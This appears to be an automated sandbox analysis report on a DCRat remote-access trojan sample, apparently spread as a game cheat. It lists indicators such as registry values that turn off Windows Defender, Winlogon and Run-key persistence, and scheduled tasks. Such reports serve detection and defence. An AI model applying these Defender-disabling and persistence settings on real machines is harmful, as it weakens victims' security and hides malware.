dcrat | 841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\blockweb\\lsass.exe\", \"C:\\blockweb\\unsecapp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\blockweb\\lsass.exe\", \"C:\\blockweb\\unsecapp.exe\", \"C:\\Program Files\\7-Zip\\Lang\\TrustedInstaller.exe\", \"C:\\blockweb\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\blockweb\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\blockweb\\lsass.exe\", \"C:\\blockweb\\unsecapp.exe\", \"C:\\Program Files\\7-Zip\\Lang\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\", \"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\", \"C:\\blockweb\\sihost.exe\", \"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\blockweb\\lsass.exe\", \"C:\\blockweb\\unsecapp.exe\", \"C:\\Program Files\\7-Zip\\Lang\\TrustedInstaller.exe\", \"C:\\blockweb\\spoolsv.exe\", \"C:\\Users\\Public\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default User\\sysmon.exe\""	portrefNet.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 36 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3428	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1056	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	688	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3772	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1272	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2044	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	428	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5108	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1368	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1008	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4104	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	808	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1800	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4076	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2496	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4496	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	468	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3360	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2536	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3820	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2488	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1564	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3616	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4272	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3720	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	396	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4812	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	228	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	2860	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	2860	schtasks.exe	124

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x0003000000022b11-45.dat	dcrat
behavioral2/files/0x0007000000023cd1-79.dat	dcrat
behavioral2/memory/4412-81-0x0000000000EA0000-0x00000000010DA000-memory.dmp	dcrat

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	BBD6FFDB33259778F08704696A04891F.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Lunch LaCheatV2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Lunch LaCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	portrefNet.exe

Executes dropped EXE 6 IoCs

pid	Process
4104	Lunch LaCheatV2.exe
4432	Lunch LaCheat.exe
4016	DCRatBuild.exe
4788	52cheatand52rat.exe
4412	portrefNet.exe
1600	lsass.exe

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0008000000023cc6-4.dat	vmprotect
behavioral2/memory/4104-23-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/files/0x0007000000023ccd-28.dat	vmprotect
behavioral2/memory/4104-33-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/memory/4432-42-0x0000000000400000-0x00000000018F3000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Users\\All Users\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\blockweb\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sysmon = "\"C:\\Users\\Default User\\sysmon.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\portrefNet = "\"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\blockweb\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Users\\Public\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Users\\Public\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\unsecapp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\Users\\Admin\\Searches\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\blockweb\\unsecapp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\blockweb\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sysmon = "\"C:\\Users\\Default User\\sysmon.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\blockweb\\sihost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\blockweb\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\Program Files\\7-Zip\\Lang\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\Program Files\\7-Zip\\Lang\\TrustedInstaller.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\blockweb\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\portrefNet = "\"C:\\Program Files\\Microsoft Office 15\\ClientX64\\portrefNet.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\blockweb\\unsecapp.exe\""	portrefNet.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4104	Lunch LaCheatV2.exe
4432	Lunch LaCheat.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\7-Zip\Lang\TrustedInstaller.exe	portrefNet.exe
File created	C:\Program Files\7-Zip\Lang\04c1e7795967e4	portrefNet.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\unsecapp.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\29c1c3cc0f7685	portrefNet.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\portrefNet.exe	portrefNet.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\eb327ae3a57632	portrefNet.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BBD6FFDB33259778F08704696A04891F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheatV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	DCRatBuild.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 36 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2488	schtasks.exe
3616	schtasks.exe
4812	schtasks.exe
4104	schtasks.exe
4496	schtasks.exe
3360	schtasks.exe
5108	schtasks.exe
4076	schtasks.exe
1564	schtasks.exe
548	schtasks.exe
3720	schtasks.exe
3100	schtasks.exe
3428	schtasks.exe
688	schtasks.exe
2044	schtasks.exe
428	schtasks.exe
808	schtasks.exe
2496	schtasks.exe
2232	schtasks.exe
1056	schtasks.exe
1272	schtasks.exe
1368	schtasks.exe
1800	schtasks.exe
468	schtasks.exe
4272	schtasks.exe
1612	schtasks.exe
3820	schtasks.exe
1688	schtasks.exe
396	schtasks.exe
228	schtasks.exe
1008	schtasks.exe
4416	schtasks.exe
3772	schtasks.exe
2536	schtasks.exe
2268	schtasks.exe
456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4104	Lunch LaCheatV2.exe
4104	Lunch LaCheatV2.exe
4104	Lunch LaCheatV2.exe
4104	Lunch LaCheatV2.exe
4432	Lunch LaCheat.exe
4432	Lunch LaCheat.exe
4432	Lunch LaCheat.exe
4432	Lunch LaCheat.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
4412	portrefNet.exe
1600	lsass.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	4788	52cheatand52rat.exe
Token: SeIncreaseQuotaPrivilege	1648	wmic.exe
Token: SeSecurityPrivilege	1648	wmic.exe
Token: SeTakeOwnershipPrivilege	1648	wmic.exe
Token: SeLoadDriverPrivilege	1648	wmic.exe
Token: SeSystemProfilePrivilege	1648	wmic.exe
Token: SeSystemtimePrivilege	1648	wmic.exe
Token: SeProfSingleProcessPrivilege	1648	wmic.exe
Token: SeIncBasePriorityPrivilege	1648	wmic.exe
Token: SeCreatePagefilePrivilege	1648	wmic.exe
Token: SeBackupPrivilege	1648	wmic.exe
Token: SeRestorePrivilege	1648	wmic.exe
Token: SeShutdownPrivilege	1648	wmic.exe
Token: SeDebugPrivilege	1648	wmic.exe
Token: SeSystemEnvironmentPrivilege	1648	wmic.exe
Token: SeRemoteShutdownPrivilege	1648	wmic.exe
Token: SeUndockPrivilege	1648	wmic.exe
Token: SeManageVolumePrivilege	1648	wmic.exe
Token: 33	1648	wmic.exe
Token: 34	1648	wmic.exe
Token: 35	1648	wmic.exe
Token: 36	1648	wmic.exe
Token: SeIncreaseQuotaPrivilege	1648	wmic.exe
Token: SeSecurityPrivilege	1648	wmic.exe
Token: SeTakeOwnershipPrivilege	1648	wmic.exe
Token: SeLoadDriverPrivilege	1648	wmic.exe
Token: SeSystemProfilePrivilege	1648	wmic.exe
Token: SeSystemtimePrivilege	1648	wmic.exe
Token: SeProfSingleProcessPrivilege	1648	wmic.exe
Token: SeIncBasePriorityPrivilege	1648	wmic.exe
Token: SeCreatePagefilePrivilege	1648	wmic.exe
Token: SeBackupPrivilege	1648	wmic.exe
Token: SeRestorePrivilege	1648	wmic.exe
Token: SeShutdownPrivilege	1648	wmic.exe
Token: SeDebugPrivilege	1648	wmic.exe
Token: SeSystemEnvironmentPrivilege	1648	wmic.exe
Token: SeRemoteShutdownPrivilege	1648	wmic.exe
